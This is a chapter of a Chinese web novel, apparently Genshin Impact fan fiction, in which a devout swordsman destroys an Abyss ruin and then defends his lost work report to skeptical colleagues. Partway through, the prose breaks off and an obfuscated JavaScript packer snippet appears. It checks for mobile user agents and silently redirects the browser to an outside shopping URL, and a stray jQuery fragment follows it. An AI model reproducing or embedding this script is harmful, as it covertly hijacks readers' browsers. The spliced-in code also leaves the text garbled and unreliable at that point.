默认冷灰
24号文字
方正启体

10. 第 10 章

作者:拉弥亚本书字数:K更新时间:
    斯威亚的心情糟糕透了。


    他现在一个人猫在蒙德城门口的矮墙边,对着天空的虚影默念了三遍祷文,可那团堵在胸口的浊气非但没有消散,反而像发酵过度的麦酒一样越胀越大。


    冲动果然是魔鬼。


    居然让他这么一个全心全意侍奉神明的人在一天的开始就对一位远道而来的熟人恶语相向。


    虽说罗莎琳那女人说话确实跟火上浇油没区别,但这绝不是他失态的理由。冲动的火焰果真能焚寂一切,连他这些年修来的平和心绪都给烧了个精光。


    斯威亚啊斯威亚,你怎能荒废你数百年来的沉淀!


    他深吸一口气,又缓缓吐出,手掌握上剑柄。冰凉粗糙的触感让他纷乱的思绪稍稍沉淀。


    不管了,先清理魔物冷静冷静。


    鸽子,史莱姆、深渊教团,见一个砍一个,见两个劈一双。


    月光把斯威亚的影子拉得老长,剑锋反射着冷冽的银白。砍到第三十只骗骗花的时候,斯威亚终于平复好心情,胸口那股邪火消下去了大半。


    原本他打算今天到此为止,转战昨日失约的枫丹和挪德卡莱时,突然感知到了一股突兀元素反应力。


    居然还是雷元素!


    要知道蒙德风调雨顺,生态环境格外温和,连雷史莱姆都少见得很。在天气晴朗的时候出现野生的雷元素痕迹,概率约等于风史莱姆掉下悬崖摔死——简而言之,几乎不可能。


    斯威亚难得来了兴趣,他抬头看了一眼天空,星星和月亮还在跟他大眼瞪小眼,估摸时间还有不少富余。


    蒙德少有麻烦的魔物,顺道绕个远路清理一下垃圾,也废不了他多少功夫。


    斯威亚当即顺着雷元素力的残留拐进了偏离主路的林间小道。走了约莫一刻钟,一道简陋得令人发指的封印横在了他面前。


    要不说蒙德生态环境格外温和呢?


    斯威亚看着那个歪歪扭扭的术式构造时直接笑出了声。


    这种封印水平,放在须弥怕不是已经被贤者连夜赶出教令院。


    斯威亚连剑都懒得拔,三下五除二直接徒手拆了封印结构,最后一道术式崩解的瞬间,一个隐蔽的洞口豁然出现在他面前。


    洞口往里延伸,和简陋的封印相反,内部空间宽敞明亮,规划也十分整齐有序,完全不像是应该被这样简陋封印所守护的存在。


    这可真是个不妙的新发现。


    斯威亚站在洞口,再一次肯定了自己的经验之谈:一旦做出超出先前预设路线的行为,就会遇到超出预料的事件。


    老实说,如果没有今天早上罗莎琳那一耽搁,斯威亚一定会头也不回地继续走在他为自己预设的行进路线上。


    但,斯威亚抬头,透过树冠的缝隙看了一眼月亮,心中不免有小小的猜测。


    难道这也是伟大的高天之主宰对麾下信徒的指引吗?


    他迟疑了片刻,最终还是尊重本能的提醒,抬脚迈进了洞穴。


    洞穴深处比入口处看到的还要宽敞。


    斯威亚单手提着剑,沿途的魔物对他而言完全构不成威胁。零散几只丘丘人还没反应过来就被剑背敲晕,两座遗迹守卫刚启动就被他卸了核心。


    他顺着那道异常雷元素的指引一路推进,最终停在了一面死胡同前。


    斯威亚眯起眼,手指在石壁上叩了三下。


    中空有回响,背后肯定有东西。


    他后退两步,提剑。剑锋裹挟着风元素力划出一道弧线,石壁应声而碎,露出其后隐藏的巨大空间。


    “蒙德城……居然也有如此实力的人吗?”


    从石壁后面被逼出来的冰之咏者后退数步,震惊地看着被他三剑拆干净的全部机关,声音里带着不加掩饰的错愕。


    斯威亚低声自语,眉头拧成了一团:


    “我居然遗漏了这个等级的魔物,实在是我的失误。伟大的高天之主啊,请宽恕我之前的犹豫和不决,我的工作居然在无形之中犯下如此纰漏——”


    他面向穹顶的方向微微垂首,全然不在意深渊法师就在自己脸上。


    冰之咏者被这种目中无人的态度激怒了,他周身燃起深渊的玄冰,术式在掌心汇聚,愤怒尖叫道:


    “你在自言自语什么鬼话!”


    “感谢您赐予我修正错误的机会。”


    斯威亚一动不动,任由术式直挺挺朝自己面门而来。


    随即,在冰之咏者恐惧的眼光中,尽数将那股力量吞没。


    “结束了吗?那轮到我了。”


    利剑直挺挺批下来,咏者的挣扎只是徒劳,他难以置信地瞪着斯威亚:“为什么……明明你……”


    “既然事情都超出我等的预料,那必定是高天之主意欲让你的计划失败。”


    斯威亚收剑回鞘,声音平静得像在陈述今天的晚饭,他朝颓然的冰之咏者伸出手。


    “拿出来吧,你必是窃取了某物,才引来主的不悦。”


    冰之咏者的表情剧烈变化,从震惊到愤怒,又从愤怒转为某种诡异的了然。他忽然笑了:“没想到蒙德……也有人参破那白之公主与——啊!”


    尾音被截断在一声短促的闷响里。


    斯威亚的剑锋并没有点到为止,来自咏者自身的冰深渊力从剑刃上炸开,裹挟着锐利的气流向四面八方席卷。墙壁上的符文一个接一个崩裂。


    天花板开始龟裂,碎石从头顶簌簌坠落。他反手挥出第二剑,剑气呈扇形向前推进,所过之处地面翻卷、立柱折断、机关爆裂。


    整座地下遗迹在他身后一寸寸坍塌。


    轰鸣声、碎裂声、石块砸落的闷响混杂在一起,扬起漫天的灰尘。


    斯威亚看了眼怀表,自觉时间已经差不多,便头也不回地向外走,脚步不疾不徐,连节奏都没变过。


    路过某处偏厅时,他的余光扫到一本沾满灰尘和冰晶的故事读本——那东西正随着地面的震动从架子上滑落,啪嗒一声摔在碎石堆里。紧接着,一根断裂的横梁砸下来,书页被压在下面,只露出一角封面。


    斯威亚收回视线,转身离去。


    身后,整座遗迹彻底塌陷,扬起的气浪吹动了他的发尾——


    一切本该如此完美。


    好市民做好事不留姓名,除了没有像常规冒险家那般继续探索遗迹之外,没有什么不一样的。


    只是,勤劳勇敢的斯威亚并未发现,他花


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374986|200052||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    费了七个夜晚才补好的去年的工作报告——那份被他小心翼翼塞在怀里、打算在前往挪德卡莱前再检查一遍的珍贵文书,不知什么时候从包裹里滑了出来。


    并且此刻,它正安静地躺在偏厅的碎石堆里,被那本故事读本严严实实地压在下面。


    “……所以以上,就是我失去工作报告的全部经过。”


    斯威亚停下叙述,端起桌上的茶杯抿了一口,润了润因为说了太多话而发干的嗓子。


    站在他对面的叶洛亚双手交叠在胸前,面无表情地听完这位神出鬼没的同僚,用声情并茂的语气讲述完他如何在蒙德英勇作战、如何发现深渊教团的阴谋、如何摧毁一整座遗迹的光辉事迹后,发出了灵魂拷问:


    “你不会是为了逃避工作报告才给我编造出这种故事的吧?”


    斯威亚一口茶差点喷出来。


    “我发誓我所说的皆为真相,没有一句谎言!”斯威亚放下杯子,右手举起三指指天,表情要多诚恳有多诚恳,“要是有假,我就天打雷劈,让巴巴托斯这辈子喝不上酒!”


    话音刚落,窗外远远传来一声雷响。


    三个人同时抬头看了一眼窗外晴朗的夜空,又同时默默收回视线。


    “……这个誓发得够狠的。”叶洛亚锐评。


    “我的天哪,斯威亚先生。”


    一直安静坐在旁边听斯威亚辩解的菲林斯忽然开口,用一种像是宫廷贵族在宴会上发现有人打翻了红酒时才会用的、装模作样的惊呼语调说,“如果你撒谎,那对全体蒙德人和风神而言可都是个巨大的噩耗。”


    菲林斯顿了顿,微笑着补充:“不过我相信,你是一个诚实而正直的人。”


    叶洛亚没有接这个话茬。他转向菲林斯,目光里带着某种审度的意味:“好吧,菲林斯,那你的报告呢?”


    菲林斯歪歪头,示意叶洛亚看向某位编故事的主角。


    “这又是另外一个不幸的故事了。”


    斯威亚抢在菲林斯开口之前接过话头,语气悲痛而自责:


    “你知道的,我一直不擅长文书工作,恰好我们亲爱的克里洛先生慷慨而又仁慈,于是他大方地把他提前完成的任务报告交给了我以作参考——”


    叶洛亚双手环胸:“然后呢?”


    “然后,”斯威亚摊手,“我把那份参考报告和我的那份放在了一起。”


    “于是悲剧便就此发生。”菲林斯恰到好处地接上,依旧用那种贵族式的感慨语调,“我那些可怜的任务报告也与斯威亚先生的一起,永远沉寂在蒙德的古老遗迹中了——挪德卡莱的报告居然会葬身于蒙德,真是世事无常。”


    两人一唱一和,配合得天衣无缝。


    叶洛亚沉默了半晌,才缓缓开口:


    “不管从哪个角度听,整个故事都像是你们两人根本没写报告试图蒙混过关而编造的借口。”


    叶洛亚谴责的眼神在两人之间来回扫视,最后定格在斯威亚身上。


    “斯威亚先生,我不得不说,至少在以前,菲林斯先生努努力还是能把工作报告卡点交上来的。可自从跟您同流合污之后,我就再也没见过他的报告了。”


    “这对吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)